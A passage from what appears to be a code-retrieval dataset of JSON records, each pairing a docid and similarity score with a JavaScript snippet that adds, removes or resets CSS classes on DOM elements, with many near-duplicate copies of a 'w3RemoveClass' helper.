(replaceExtension) {\n // browser is no capable with svg-images: replace them with .png images.\n svgs[i].src = svgs[i].src.replace('.svg', '.png');\n }\n }\n}", "title": "" }, { "docid": "bd9723340b9ff73a6d1486f3edae47c0", "score": "0.63518006", "text": "function w3RemoveClass(element, name) {\n var i, arr1, arr2;\n arr1 = element.className.split(\" \");\n arr2 = name.split(\" \");\n for (i = 0; i < arr2.length; i++) {\n while (arr1.indexOf(arr2[i]) > -1) {\n arr1.splice(arr1.indexOf(arr2[i]), 1);\n }\n }\n element.className = arr1.join(\" \");\n }", "title": "" }, { "docid": "bd9723340b9ff73a6d1486f3edae47c0", "score": "0.63518006", "text": "function w3RemoveClass(element, name) {\n var i, arr1, arr2;\n arr1 = element.className.split(\" \");\n arr2 = name.split(\" \");\n for (i = 0; i < arr2.length; i++) {\n while (arr1.indexOf(arr2[i]) > -1) {\n arr1.splice(arr1.indexOf(arr2[i]), 1);\n }\n }\n element.className = arr1.join(\" \");\n }", "title": "" }, { "docid": "bd9723340b9ff73a6d1486f3edae47c0", "score": "0.63518006", "text": "function w3RemoveClass(element, name) {\n var i, arr1, arr2;\n arr1 = element.className.split(\" \");\n arr2 = name.split(\" \");\n for (i = 0; i < arr2.length; i++) {\n while (arr1.indexOf(arr2[i]) > -1) {\n arr1.splice(arr1.indexOf(arr2[i]), 1);\n }\n }\n element.className = arr1.join(\" \");\n }", "title": "" }, { "docid": "95b46404b7c0ab812119e72d3c0da5a7", "score": "0.6348661", "text": "removeClass(className) {\n return this.each((_, elem) => {\n className.split(' ').forEach((name) => {\n elem.classList.remove(name);\n });\n });\n }", "title": "" }, { "docid": "051b44efad444930a9673ca45f4184bb", "score": "0.63466114", "text": "function patchClass(el, value, isSVG) {\r\n if (value == null) {\r\n value = '';\r\n }\r\n if (isSVG) {\r\n el.setAttribute('class', value);\r\n }\r\n else {\r\n // directly setting className should be faster than setAttribute in theory\r\n // if this is an element during a transition, take the temporary transition\r\n // classes into account.\r\n const transitionClasses = el._vtc;\r\n if (transitionClasses) {\r\n value = (value\r\n ? [value, ...transitionClasses]\r\n : [...transitionClasses]).join(' ');\r\n }\r\n el.className = value;\r\n }\r\n}", "title": "" }, { "docid": "8f6f652bb88ecf128f9085b3d3d7070a", "score": "0.63429034", "text": "function w3RemoveClass(element, name) {\n var i, arr1, arr2;\n arr1 = element.className.split(\" \");\n arr2 = name.split(\" \");\n for (i = 0; i < arr2.length; i++) {\n while (arr1.indexOf(arr2[i]) > -1) {\n arr1.splice(arr1.indexOf(arr2[i]), 1);\n }\n }\n element.className = arr1.join(\" \");\n }", "title": "" }, { "docid": "d8664d5aa9d910860b5a6ce5a4da6cad", "score": "0.6335858", "text": "function w3RemoveClass(element, name) {\r\n var i, arr1, arr2;\r\n arr1 = element.className.split(\" \");\r\n arr2 = name.split(\" \");\r\n for (i = 0; i < arr2.length; i++) {\r\n while (arr1.indexOf(arr2[i]) > -1) {\r\n arr1.splice(arr1.indexOf(arr2[i]), 1); \r\n }\r\n }\r\n element.className = arr1.join(\" \");\r\n}", "title": "" }, { "docid": "448afc9a43bc3a2b29e6418f0b942056", "score": "0.6330688", "text": "function w3RemoveClass(element, name) {\n var i, arr1, arr2;\n arr1 = element.className.split(\" \");\n arr2 = name.split(\" \");\n for (i = 0; i < arr2.length; i++) {\n while (arr1.indexOf(arr2[i]) > -1) {\n arr1.splice(arr1.indexOf(arr2[i]), 1); \n }\n }\n element.className = arr1.join(\" \");\n }", "title": "" }, { "docid": "e1f532b165740f571cf91ed31a5028a2", "score": "0.6330162", "text": "function w3RemoveClass(element, name) {\r\n var i, arr1, arr2;\r\n arr1 = element.className.split(\" \");\r\n arr2 = name.split(\" \");\r\n for (i = 0; i < arr2.length; i++) {\r\n while (arr1.indexOf(arr2[i]) > -1) {\r\n arr1.splice(arr1.indexOf(arr2[i]), 1);\r\n }\r\n }\r\n element.className = arr1.join(\" \");\r\n}", "title": "" }, { "docid": "7ffcb7da3ee5dddbf9f808090f348f5b", "score": "0.63277704", "text": "clearKyokumen(cls) {\n let komas = this.svg.getElementsByClassName(cls);\n while (komas.length > 0) {\n this.svg.removeChild(komas[0]);\n komas = this.svg.getElementsByClassName(cls);\n }\n }", "title": "" }, { "docid": "54fcf0412263e45664d0c52987d35764", "score": "0.6311574", "text": "function remove_draw_erase_classes() {\n var tiles = document.getElementsByClassName(\"tile\");\n for (var i = 0; i < tiles.length; i++) {\n tiles[i].className = \"tile\";\n }\n var objects = document.getElementsByClassName(\"object\");\n for (var i = 0; i < objects.length; i++) {\n objects[i].className = \"object\";\n }\n}", "title": "" }, { "docid": "25f407a8a63668c8766191926354685f", "score": "0.6308454", "text": "function patchClass(el, value, isSVG) {\n if (value == null) {\n value = '';\n }\n\n if (isSVG) {\n el.setAttribute('class', value);\n } else {\n // directly setting className should be faster than setAttribute in theory\n // if this is an element during a transition, take the temporary transition\n // classes into account.\n var transitionClasses = el._vtc;\n\n if (transitionClasses) {\n value = (value ? [value].concat(transitionClasses) : [].concat(transitionClasses)).join(' ');\n }\n\n el.className = value;\n }\n }", "title": "" }, { "docid": "d4c73dd50b199090f82770f3949a3345", "score": "0.6299088", "text": "function nel_RemoveClass_JDWSA(className) { \r\n let elements = document.getElementsByClassName(className);\r\n while(elements.length > 0){\r\n elements[0].parentNode.removeChild(elements[0]);\r\n }\r\n}", "title": "" }, { "docid": "88b366c56366bf36fa17897a4963e650", "score": "0.6298468", "text": "function w3RemoveClass(element, name) {\n var i, arr1, arr2;\n arr1 = element.className.split(\" \");\n arr2 = name.split(\" \");\n for (i = 0; i < arr2.length; i++) {\n while (arr1.indexOf(arr2[i]) > -1) {\n arr1.splice(arr1.indexOf(arr2[i]), 1); \n }\n }\n element.className = arr1.join(\" \");\n}", "title": "" }, { "docid": "88b366c56366bf36fa17897a4963e650", "score": "0.6298468", "text": "function w3RemoveClass(element, name) {\n var i, arr1, arr2;\n arr1 = element.className.split(\" \");\n arr2 = name.split(\" \");\n for (i = 0; i < arr2.length; i++) {\n while (arr1.indexOf(arr2[i]) > -1) {\n arr1.splice(arr1.indexOf(arr2[i]), 1); \n }\n }\n element.className = arr1.join(\" \");\n}", "title": "" }, { "docid": "88b366c56366bf36fa17897a4963e650", "score": "0.6298468", "text": "function w3RemoveClass(element, name) {\n var i, arr1, arr2;\n arr1 = element.className.split(\" \");\n arr2 = name.split(\" \");\n for (i = 0; i < arr2.length; i++) {\n while (arr1.indexOf(arr2[i]) > -1) {\n arr1.splice(arr1.indexOf(arr2[i]), 1); \n }\n }\n element.className = arr1.join(\" \");\n}", "title": "" }, { "docid": "88b366c56366bf36fa17897a4963e650", "score": "0.6298468", "text": "function w3RemoveClass(element, name) {\n var i, arr1, arr2;\n arr1 = element.className.split(\" \");\n arr2 = name.split(\" \");\n for (i = 0; i < arr2.length; i++) {\n while (arr1.indexOf(arr2[i]) > -1) {\n arr1.splice(arr1.indexOf(arr2[i]), 1); \n }\n }\n element.className = arr1.join(\" \");\n}", "title": "" }, { "docid": "88b366c56366bf36fa17897a4963e650", "score": "0.6298468", "text": "function w3RemoveClass(element, name) {\n var i, arr1, arr2;\n arr1 = element.className.split(\" \");\n arr2 = name.split(\" \");\n for (i = 0; i < arr2.length; i++) {\n while (arr1.indexOf(arr2[i]) > -1) {\n arr1.splice(arr1.indexOf(arr2[i]), 1); \n }\n }\n element.className = arr1.join(\" \");\n}", "title": "" }, { "docid": "f693087dbdb14584b4f4261ded790128", "score": "0.62873566", "text": "function w3RemoveClass(element, name) {\n var i, arr1, arr2;\n arr1 = element.className.split(\" \");\n arr2 = name.split(\" \");\n for (i = 0; i < arr2.length; i++) {\n while (arr1.indexOf(arr2[i]) > -1) {\n arr1.splice(arr1.indexOf(arr2[i]), 1);\n }\n }\n element.className = arr1.join(\" \");\n}", "title": "" }, { "docid": "f693087dbdb14584b4f4261ded790128", "score": "0.62873566", "text": "function w3RemoveClass(element, name) {\n var i, arr1, arr2;\n arr1 = element.className.split(\" \");\n arr2 = name.split(\" \");\n for (i = 0; i < arr2.length; i++) {\n while (arr1.indexOf(arr2[i]) > -1) {\n arr1.splice(arr1.indexOf(arr2[i]), 1);\n }\n }\n element.className = arr1.join(\" \");\n}", "title": "" }, { "docid": "f693087dbdb14584b4f4261ded790128", "score": "0.62873566", "text": "function w3RemoveClass(element, name) {\n var i, arr1, arr2;\n arr1 = element.className.split(\" \");\n arr2 = name.split(\" \");\n for (i = 0; i < arr2.length; i++) {\n while (arr1.indexOf(arr2[i]) > -1) {\n arr1.splice(arr1.indexOf(arr2[i]), 1);\n }\n }\n element.className = arr1.join(\" \");\n}", "title": "" }, { "docid": "f693087dbdb14584b4f4261ded790128", "score": "0.62873566", "text": "function w3RemoveClass(element, name) {\n var i, arr1, arr2;\n arr1 = element.className.split(\" \");\n arr2 = name.split(\" \");\n for (i = 0; i < arr2.length; i++) {\n while (arr1.indexOf(arr2[i]) > -1) {\n arr1.splice(arr1.indexOf(arr2[i]), 1);\n }\n }\n element.className = arr1.join(\" \");\n}", "title": "" }, { "docid": "f693087dbdb14584b4f4261ded790128", "score": "0.62873566", "text": "function w3RemoveClass(element, name) {\n var i, arr1, arr2;\n arr1 = element.className.split(\" \");\n arr2 = name.split(\" \");\n for (i = 0; i < arr2.length; i++) {\n while (arr1.indexOf(arr2[i]) > -1) {\n arr1.splice(arr1.indexOf(arr2[i]), 1);\n }\n }\n element.className = arr1.join(\" \");\n}", "title": "" }, { "docid": "f693087dbdb14584b4f4261ded790128", "score": "0.62873566", "text": "function w3RemoveClass(element, name) {\n var i, arr1, arr2;\n arr1 = element.className.split(\" \");\n arr2 = name.split(\" \");\n for (i = 0; i < arr2.length; i++) {\n while (arr1.indexOf(arr2[i]) > -1) {\n arr1.splice(arr1.indexOf(arr2[i]), 1);\n }\n }\n element.className = arr1.join(\" \");\n}", "title": "" }, { "docid": "f693087dbdb14584b4f4261ded790128", "score": "0.62873566", "text": "function w3RemoveClass(element, name) {\n var i, arr1, arr2;\n arr1 = element.className.split(\" \");\n arr2 = name.split(\" \");\n for (i = 0; i < arr2.length; i++) {\n while (arr1.indexOf(arr2[i]) > -1) {\n arr1.splice(arr1.indexOf(arr2[i]), 1);\n }\n }\n element.className = arr1.join(\" \");\n}", "title": "" }, { "docid": "f693087dbdb14584b4f4261ded790128", "score": "0.62873566", "text": "function w3RemoveClass(element, name) {\n var i, arr1, arr2;\n arr1 = element.className.split(\" \");\n arr2 = name.split(\" \");\n for (i = 0; i < arr2.length; i++) {\n while (arr1.indexOf(arr2[i]) > -1) {\n arr1.splice(arr1.indexOf(arr2[i]), 1);\n }\n }\n element.className = arr1.join(\" \");\n}", "title": "" }, { "docid": "f693087dbdb14584b4f4261ded790128", "score": "0.62873566", "text": "function w3RemoveClass(element, name) {\n var i, arr1, arr2;\n arr1 = element.className.split(\" \");\n arr2 = name.split(\" \");\n for (i = 0; i < arr2.length; i++) {\n while (arr1.indexOf(arr2[i]) > -1) {\n arr1.splice(arr1.indexOf(arr2[i]), 1);\n }\n }\n element.className = arr1.join(\" \");\n}", "title": "" }, { "docid": "06dc362e9537f5cfd5a5fc895f172fab", "score": "0.6282281", "text": "function w3RemoveClass(element, name) {\n var i, arr1, arr2;\n arr1 = element.className.split(\" \");\n arr2 = name.split(\" \");\n for (i = 0; i < arr2.length; i++) {\n while (arr1.indexOf(arr2[i]) > -1) {\n arr1.splice(arr1.indexOf(arr2[i]), 1);\n }\n }\n element.className = arr1.join(\" \");\n}", "title": "" }, { "docid": "06dc362e9537f5cfd5a5fc895f172fab", "score": "0.6282281", "text": "function w3RemoveClass(element, name) {\n var i, arr1, arr2;\n arr1 = element.className.split(\" \");\n arr2 = name.split(\" \");\n for (i = 0; i < arr2.length; i++) {\n while (arr1.indexOf(arr2[i]) > -1) {\n arr1.splice(arr1.indexOf(arr2[i]), 1);\n }\n }\n element.className = arr1.join(\" \");\n}", "title": "" }, { "docid": "06dc362e9537f5cfd5a5fc895f172fab", "score": "0.6282281", "text": "function w3RemoveClass(element, name) {\n var i, arr1, arr2;\n arr1 = element.className.split(\" \");\n arr2 = name.split(\" \");\n for (i = 0; i < arr2.length; i++) {\n while (arr1.indexOf(arr2[i]) > -1) {\n arr1.splice(arr1.indexOf(arr2[i]), 1);\n }\n }\n element.className = arr1.join(\" \");\n}", "title": "" }, { "docid": "06dc362e9537f5cfd5a5fc895f172fab", "score": "0.6282281", "text": "function w3RemoveClass(element, name) {\n var i, arr1, arr2;\n arr1 = element.className.split(\" \");\n arr2 = name.split(\" \");\n for (i = 0; i < arr2.length; i++) {\n while (arr1.indexOf(arr2[i]) > -1) {\n arr1.splice(arr1.indexOf(arr2[i]), 1);\n }\n }\n element.className = arr1.join(\" \");\n}", "title": "" }, { "docid": "06dc362e9537f5cfd5a5fc895f172fab", "score": "0.6282281", "text": "function w3RemoveClass(element, name) {\n var i, arr1, arr2;\n arr1 = element.className.split(\" \");\n arr2 = name.split(\" \");\n for (i = 0; i < arr2.length; i++) {\n while (arr1.indexOf(arr2[i]) > -1) {\n arr1.splice(arr1.indexOf(arr2[i]), 1);\n }\n }\n element.className = arr1.join(\" \");\n}", "title": "" }, { "docid": "4dd71120b465121e52abcd54f9eed890", "score": "0.6266865", "text": "function removeClass(el){\r\n\tel.classList.remove(\"pats-silver\");\r\n}", "title": "" }, { "docid": "4dd71120b465121e52abcd54f9eed890", "score": "0.6266865", "text": "function removeClass(el){\r\n\tel.classList.remove(\"pats-silver\");\r\n}", "title": "" }, { "docid": "4dd71120b465121e52abcd54f9eed890", "score": "0.6266865", "text": "function removeClass(el){\r\n\tel.classList.remove(\"pats-silver\");\r\n}", "title": "" }, { "docid": "7decefe2e62b4620a4ede59787071e97", "score": "0.6265394", "text": "removeClass(element, className) {\n var cls = element.getAttribute('class');\n cls = cls.replace(className, '');\n element.setAttribute('class', cls);\n }", "title": "" }, { "docid": "acee7cd841bf8c982e2db4deda7766ec", "score": "0.62591416", "text": "function removeClass(nodeList , classToRemove){\n for(let i = 0; i < nodeList.length; i++){\n if(nodeList[i].classList.contains(classToRemove))\n {\n nodeList[i].classList.remove(classToRemove);\n }\n }\n}", "title": "" }, { "docid": "e0cc7565cbeb232e9c472fd2ce976d02", "score": "0.625754", "text": "function removeClass(node, classToRemove) {\n\t\tnode.className = ' ' + node.className + ' ';\n\t\tnode.className = node.className.replace(' ' + classToRemove + ' ', '');\n\t}", "title": "" }, { "docid": "03b1b130cdf100e5fa70dbe6561adda4", "score": "0.6231925", "text": "_removeClasses(rawClassVal) {\n if (rawClassVal) {\n if (Array.isArray(rawClassVal) || rawClassVal instanceof Set) {\n rawClassVal.forEach((klass) => this._toggleClass(klass, false));\n }\n else {\n Object.keys(rawClassVal).forEach(klass => this._toggleClass(klass, false));\n }\n }\n }", "title": "" }, { "docid": "03b1b130cdf100e5fa70dbe6561adda4", "score": "0.6231925", "text": "_removeClasses(rawClassVal) {\n if (rawClassVal) {\n if (Array.isArray(rawClassVal) || rawClassVal instanceof Set) {\n rawClassVal.forEach((klass) => this._toggleClass(klass, false));\n }\n else {\n Object.keys(rawClassVal).forEach(klass => this._toggleClass(klass, false));\n }\n }\n }", "title": "" }, { "docid": "03b1b130cdf100e5fa70dbe6561adda4", "score": "0.6231925", "text": "_removeClasses(rawClassVal) {\n if (rawClassVal) {\n if (Array.isArray(rawClassVal) || rawClassVal instanceof Set) {\n rawClassVal.forEach((klass) => this._toggleClass(klass, false));\n }\n else {\n Object.keys(rawClassVal).forEach(klass => this._toggleClass(klass, false));\n }\n }\n }", "title": "" }, { "docid": "03b1b130cdf100e5fa70dbe6561adda4", "score": "0.6231925", "text": "_removeClasses(rawClassVal) {\n if (rawClassVal) {\n if (Array.isArray(rawClassVal) || rawClassVal instanceof Set) {\n rawClassVal.forEach((klass) => this._toggleClass(klass, false));\n }\n else {\n Object.keys(rawClassVal).forEach(klass => this._toggleClass(klass, false));\n }\n }\n }", "title": "" }, { "docid": "82744cf243ff1e0dafd83a3cb0c25dde", "score": "0.6230135", "text": "function w3RemoveClass(element, name) {\n let i, arr1, arr2;\n arr1 = element.className.split(\" \");\n arr2 = name.split(\" \");\n for (i = 0; i < arr2.length; i++) {\n while (arr1.indexOf(arr2[i]) > -1) {\n arr1.splice(arr1.indexOf(arr2[i]), 1);\n }\n }\n element.className = arr1.join(\" \");\n}", "title": "" }, { "docid": "d3d865cc76979aac3731bed2e765d6db", "score": "0.6207583", "text": "function w3RemoveClass(element, name) {\n\n\tvar i, arr1, arr2;\n\n\tarr1 = element.className.split(\" \");\n\n\tarr2 = name.split(\" \");\n\n\tfor (i = 0; i < arr2.length; i++) {\n\n\t\twhile (arr1.indexOf(arr2[i]) > -1) {\n\n\t\t\tarr1.splice(arr1.indexOf(arr2[i]), 1);\n\n\t\t}\n\n\t}\n\n\telement.className = arr1.join(\" \");\n\n}", "title": "" }, { "docid": "d3d865cc76979aac3731bed2e765d6db", "score": "0.6207583", "text": "function w3RemoveClass(element, name) {\n\n\tvar i, arr1, arr2;\n\n\tarr1 = element.className.split(\" \");\n\n\tarr2 = name.split(\" \");\n\n\tfor (i = 0; i < arr2.length; i++) {\n\n\t\twhile (arr1.indexOf(arr2[i]) > -1) {\n\n\t\t\tarr1.splice(arr1.indexOf(arr2[i]), 1);\n\n\t\t}\n\n\t}\n\n\telement.className = arr1.join(\" \");\n\n}", "title": "" }, { "docid": "2b134998b4928ffcae51740c2438e6b4", "score": "0.62061787", "text": "function clearCheckClasses() {\n\tfor(div of divs) {\n\t\tdiv.classList.remove(\"kingCaptureOption\", \"destruction-path\", \"endangered-king\");\n\t}\n}", "title": "" }, { "docid": "2a73135b0d73592762b2da3ef020171b", "score": "0.61969465", "text": "function add_draw_erase_classes(class_name) {\n var tiles = document.getElementsByClassName(\"tile\");\n for (var i = 0; i < tiles.length; i++) {\n tiles[i].className = \"tile \" + class_name;\n }\n var objects = document.getElementsByClassName(\"object\");\n for (var i = 0; i < objects.length; i++) {\n objects[i].className = \"object \" + class_name;\n }\n}", "title": "" }, { "docid": "b72598e2215a678dbc8849e37a80d36b", "score": "0.61898965", "text": "function removeClass(element, className){\n if(element.classList){\n // console.log('remove class classList');\n element.classList.remove(className);\n }else{\n //Polyfill\n // console.log('remove class polyfill');\n var reg = new RegExp('(?:^|\\\\s)' + className + '(?!\\\\S)');\n element.className = element.className.replace(reg, '');\n }\n }", "title": "" }, { "docid": "dc4ad27b7ba363bf667797d3e41ddefb", "score": "0.6187345", "text": "function del_class(name) {\n var list = document.getElementsByClassName(name);\n for(var i = list.length - 1; 0 <= i; i--)\n if(list[i] && list[i].parentElement)\n list[i].parentElement.removeChild(list[i]);\n}", "title": "" }, { "docid": "36eb4e12685b22a8e02d9c991a68b46f", "score": "0.6168641", "text": "function removeValidationClasses (element) {\n element.classList.remove('invalid', 'invalid2');\n}", "title": "" }, { "docid": "cef8e90b5dbce5f142a52a98864d9dd2", "score": "0.6167132", "text": "function removeClass(el,cls){/* istanbul ignore if */if(!cls||!(cls=cls.trim())){return;}/* istanbul ignore else */if(el.classList){if(cls.indexOf(' ')>-1){cls.split(whitespaceRE).forEach(function(c){return el.classList.remove(c);});}else{el.classList.remove(cls);}if(!el.classList.length){el.removeAttribute('class');}}else{var cur=\" \"+(el.getAttribute('class')||'')+\" \";var tar=' '+cls+' ';while(cur.indexOf(tar)>=0){cur=cur.replace(tar,' ');}cur=cur.trim();if(cur){el.setAttribute('class',cur);}else{el.removeAttribute('class');}}}", "title": "" }, { "docid": "352c52605e9901040962ef9756ce9721", "score": "0.6155917", "text": "function resetClasses(element) {\n element[0].classList.remove(\"past\");\n element[0].classList.remove(\"present\");\n element[0].classList.remove(\"future\");\n}", "title": "" }, { "docid": "6165ad1084c48082d557b9cd3b8d8c1f", "score": "0.6137107", "text": "function productRemoveClass(element, name) {\n var i, arr1, arr2;\n arr1 = element.className.split(\" \");\n arr2 = name.split(\" \");\n for (i = 0; i < arr2.length; i++) {\n while (arr1.indexOf(arr2[i]) > -1) {\n arr1.splice(arr1.indexOf(arr2[i]), 1); \n }\n }\n element.className = arr1.join(\" \");\n}", "title": "" }, { "docid": "352f16cd923d7cf7bd788e86e9ca5d9d", "score": "0.61367005", "text": "function resetClasses (evt) {\n evt.target.classList.remove('open', 'show', 'incorrect');\n}", "title": "" }, { "docid": "6199e083c44f4bc3eabc377301db55fa", "score": "0.6130152", "text": "function clearClasses() {\n unbindControls();\n $('.animation-container.fa').removeClass('fa-hand-scissors-o').removeClass('fa-hand-rock-o').removeClass('fa-hand-paper-o').removeClass \n }", "title": "" }, { "docid": "9b8d453e14b881c81614d05a394c19f9", "score": "0.61147964", "text": "function removeScale(){\n document.body.classList.remove('scale-cv')\n}", "title": "" }, { "docid": "2c7fd0f8e18be19c00b140070b79ce6a", "score": "0.6095306", "text": "function removeClasses() {\n var links = $('.nfe-extension-link');\n links.removeClass('nfe-extension-link');\n links.removeClass('nfe-follow');\n links.removeClass('nfe-nofollow');\n}", "title": "" }, { "docid": "d142b5aeb9706a6bbbdc44d32dc900a9", "score": "0.6049385", "text": "function mi(t,e){/* istanbul ignore if */\nif(e&&(e=e.trim()))/* istanbul ignore else */\nif(t.classList)e.indexOf(\" \")>-1?e.split(/\\s+/).forEach(function(e){return t.classList.remove(e)}):t.classList.remove(e),t.classList.length||t.removeAttribute(\"class\");else{for(var n=\" \"+(t.getAttribute(\"class\")||\"\")+\" \",i=\" \"+e+\" \";n.indexOf(i)>=0;)n=n.replace(i,\" \");n=n.trim(),n?t.setAttribute(\"class\",n):t.removeAttribute(\"class\")}}", "title": "" }, { "docid": "722f6a276f7ae103cc376b8c92c42652", "score": "0.6035626", "text": "function removeClass(element, cls) {\n element.className = element.className.replace(new RegExp('(?:^|\\\\s)'+ cls + '(?:\\\\s|$)'), '');\n}", "title": "" }, { "docid": "72673f0f6d5d43aea00a4bec0ba11565", "score": "0.603109", "text": "function setInActive(node) {\r\n\tnode.firstChild.removeAttribute(\"class\");\r\n}", "title": "" }, { "docid": "c93a0e7199957512a91ffb79b537fbf5", "score": "0.6029114", "text": "function clearStatusClass(element) {\n element.classList.remove(\"correct\");\n element.classList.remove(\"wrong\");\n}", "title": "" }, { "docid": "8779887dcc08432d7779d9f520fdaab3", "score": "0.60166794", "text": "function resetCSS() {\n var active = [\n 'activeImage',\n 'activeCircle',\n 'activeAnswer',\n 'activeButton',\n 'activeEnd'\n ]\n\n for (let selector of active) {\n let elements = document.getElementsByClassName(selector)\n for (let element of elements) {\n element.classList.remove(selector)\n }\n }\n}", "title": "" }, { "docid": "b24b96733db7bf86f2d93d98f8ab063b", "score": "0.6013419", "text": "function d(id, cl) {\r\n\tvar l = g(id);\r\n\t// Set variable x for 'class string'\r\n\tvar x = l.getAttribute('class');\r\n\t// If the element has a class attribute (and it should)...\r\n\tif (x) {\r\n\t\t// Check for the class to be removed; if not found, do nothing; if found, remove it\r\n\t\tindex = x.indexOf(cl)\r\n\t\tif ( index === -1 ) {\r\n\t\t\treturn;\r\n\t\t} else {\r\n\t\t\tx = x.replace(cl,'');\r\n\t\t\tx = x.replace(' ', ' ');\r\n\t\t\tx = x.trim();\r\n\t\t\tl.setAttribute('class', x);\r\n\t\t}\r\n\t}\r\n\t// If no class exists, do nothing, but log the oddity\r\n\t// console.log('Attempted to delete class ' + cl + ' from element ' + id + ' but no class exists.');\r\n}", "title": "" }, { "docid": "0b13b1e6ebe8a6e2379ec5c4fe8790c1", "score": "0.60101104", "text": "function resetClassForLIs(){\n let lis = document.getElementsByClassName('active');\n for(let i=0;i<lis.length;i++){\n lis[i].classList.remove('active');\n }\n\n}", "title": "" }, { "docid": "3c1843337f96b77f0d58b4ee7b0ea9f1", "score": "0.5998962", "text": "static removeClass (Class, additional) {\n console.log('remove')\n Class = Class.slice(1)\n\n var klass = document.getElementsByClassName(`${Class}`)\n\n console.log(klass)\n\n for (var i = 0; i < klass.length; i++) {\n klass[i].classList.remove(additional)\n }\n }", "title": "" }, { "docid": "3e7edb2d146183dd802709aa8595c40b", "score": "0.5993638", "text": "replaceClasses(element) {\n this.elementAndChildren(element, 'x-class-replace').forEach(div => {\n const x_class_replace = div.attributes['x-class-replace'].value\n const combos = x_class_replace.split(/,\\s*/)\n combos.forEach(combo => {\n const [key, val] = combo.split(/\\s*->\\s*/)\n const key_regexp = new RegExp(key)\n div.className = div.className.replace(key_regexp, val)\n })\n })\n }", "title": "" }, { "docid": "93ff88626c57a000215c46a16e3bf2c8", "score": "0.5989143", "text": "removeClass(className) {\n if(typeof className === 'string') {\n this._element.className = this._element.className.replace(` ${className}`, '');\n }\n else {\n throw new InvalidArgumentsError('removeClass', 'argument must be a \"string\"');\n }\n }", "title": "" }, { "docid": "5bc131f1a70d167f69557b02bfdb3ab0", "score": "0.59876424", "text": "static compose(SVGElementClass) {\n if (U.pushUnique(composedMembers, SVGElementClass)) {\n const htmlElementProto = HTMLElement.prototype, svgElementProto = SVGElementClass.prototype;\n svgElementProto.getSpanCorrection = htmlElementProto\n .getSpanCorrection;\n svgElementProto.htmlCss = htmlElementProto.htmlCss;\n svgElementProto.htmlGetBBox = htmlElementProto.htmlGetBBox;\n svgElementProto.htmlUpdateTransform = htmlElementProto\n .htmlUpdateTransform;\n svgElementProto.setSpanRotation = htmlElementProto.setSpanRotation;\n }\n return SVGElementClass;\n }", "title": "" }, { "docid": "8e2bb66ddc8a85cb794eb2775e36eac0", "score": "0.5985757", "text": "function clearStatusClass(element) { \n // console.log (element) \n element.classList.remove('correct'); \n element.classList.remove('wrong'); \n}", "title": "" }, { "docid": "ef9017a856f1a06b488d2afc8eccd4c9", "score": "0.59801364", "text": "function deleteClass(element, delete_class) \n\t\t{\n\t\t var current_classes = element.className.split(' ');\n\t\t for (which_class = 0; which_class < current_classes.length; which_class++)\n\t\t {\n\t\t if (current_classes[which_class] == delete_class)\n\t\t {\n\t\t current_classes.splice(which_class, 1);\n\t\t }\n\t\t }\n\t\t var new_classes = current_classes.join(' ');\n\t\t element.className = new_classes;\n\t\t}", "title": "" }, { "docid": "430a34edec6a0f8db295f51af5c1c2ea", "score": "0.59727705", "text": "function removeClass(element, name) {\n var cls = element.getAttribute('class');\n if (!cls) {\n return;\n }\n\n cls = cls.split(' ');\n\n var idx = cls.indexOf(name);\n if (idx > -1) {\n cls.splice(idx, 1);\n element.setAttribute('class', cls)\n }\n }", "title": "" }, { "docid": "28c753e2a54b1b88844440801d3889ed", "score": "0.596536", "text": "function removeClasses(){\n\t$(\".card\").removeClass(\"show open fliping bounceIn shake wrong\");\n\tremoveOpen();\n}", "title": "" }, { "docid": "40411a31899455b9cd5fdcae52fea932", "score": "0.59603655", "text": "thisClassNotThose(element, setClass) { //...exclusiveClasses\n var idx, length = arguments.length;\n for(idx=2; idx < arguments.length; idx++){\n element.classList.remove(arguments[idx]);\n }\n element.classList.add(setClass);\n }", "title": "" }, { "docid": "2e8a380ee1eb0ffa2100aded6c8abdf6", "score": "0.59459174", "text": "function applyClasses(svg, classes, previouslyAddedClasses, placeholder) {\n var svgClasses = svg.classList;\n // Copy classes from placeholder\n if (placeholder) {\n var placeholderClasses = placeholder.classList;\n Array.from(placeholderClasses).forEach(function (item) {\n svgClasses.add(item);\n });\n }\n // Add new classes\n var addedClasses = [];\n classes.forEach(function (item) {\n if (!svgClasses.contains(item)) {\n // Add new class\n svgClasses.add(item);\n addedClasses.push(item);\n }\n else if (previouslyAddedClasses.has(item)) {\n // Was added before: keep it\n addedClasses.push(item);\n }\n });\n // Remove previously added classes\n previouslyAddedClasses.forEach(function (item) {\n if (!classes.has(item)) {\n // Class that was added before, but no longer needed\n svgClasses.remove(item);\n }\n });\n return addedClasses;\n }", "title": "" }, { "docid": "729d9e39b904fe3e169e953354ece8b4", "score": "0.5944778", "text": "function clearStatusClass(element) {\r\n element.classList.remove(\"correct\");\r\n element.classList.remove(\"wrong\");\r\n}", "title": "" }, { "docid": "759e574bec2339296711d54c826a31f7", "score": "0.59384865", "text": "function clearStatusClass(element) {\n element.classList.remove(\"correct\");\n element.classList.remove(\"wrong\");\n}", "title": "" }, { "docid": "58d15b59e1cade54483e2b692d636bfb", "score": "0.5929032", "text": "function unfocus(x) {\n if (!x) return;\n for (let i = 0; i < x.length; i++)\n if (x[i].hasAttribute('class')) x[i].removeAttribute('class');\n }", "title": "" }, { "docid": "501826bede406e46bdcc357a828d715e", "score": "0.5926157", "text": "function clearStatusClass(element){\n element.classList.remove('correct');\n element.classList.remove('wrong');\n}", "title": "" }, { "docid": "846cd19749c0561b56de13b05dc9cb0c", "score": "0.5915128", "text": "function removeClass_SelectedMemo() {\n let activeClass = document.getElementsByClassName('active');\n if (activeClass !== null) {\n activeClass[0].classList.remove('active');\n }\n}", "title": "" }, { "docid": "8a9ce706eb6049c24498a7744f069366", "score": "0.5914036", "text": "function clearStatusClass(element) {\n element.classList.remove(\"correct\")\n element.classList.remove(\"wrong\")\n}", "title": "" }, { "docid": "33f1b661e76914f1d72cc20913dfb036", "score": "0.59080344", "text": "function object_remove_class(obj, classname)\n{\n if (obj.className)\n {\n class_arr = obj.className.split(\" \");\n new_class_arr = new Array();\n\n for (j=0; j<class_arr.length; j++)\n {\n if (class_arr[j] != classname)\n {\n new_class_arr.push(class_arr[j]);\n }\n }\n\n obj.className = new_class_arr.join(\" \");\n }\n}", "title": "" }, { "docid": "718fd1d855754a7d49149f7951b3ab1a", "score": "0.5907564", "text": "function removeClass(e, className) {\n e.className = e.className.replace(new RegExp(\"\\\\b\" + className + \"\\\\b\\\\s*\", \"g\"), \"\");\n }", "title": "" }, { "docid": "e1ccd864d1b7ccf551e6d15270d42814", "score": "0.5899648", "text": "function changeClasslist() {\n document.getElementById('pokedexSingleView').classList.remove('d-none');\n 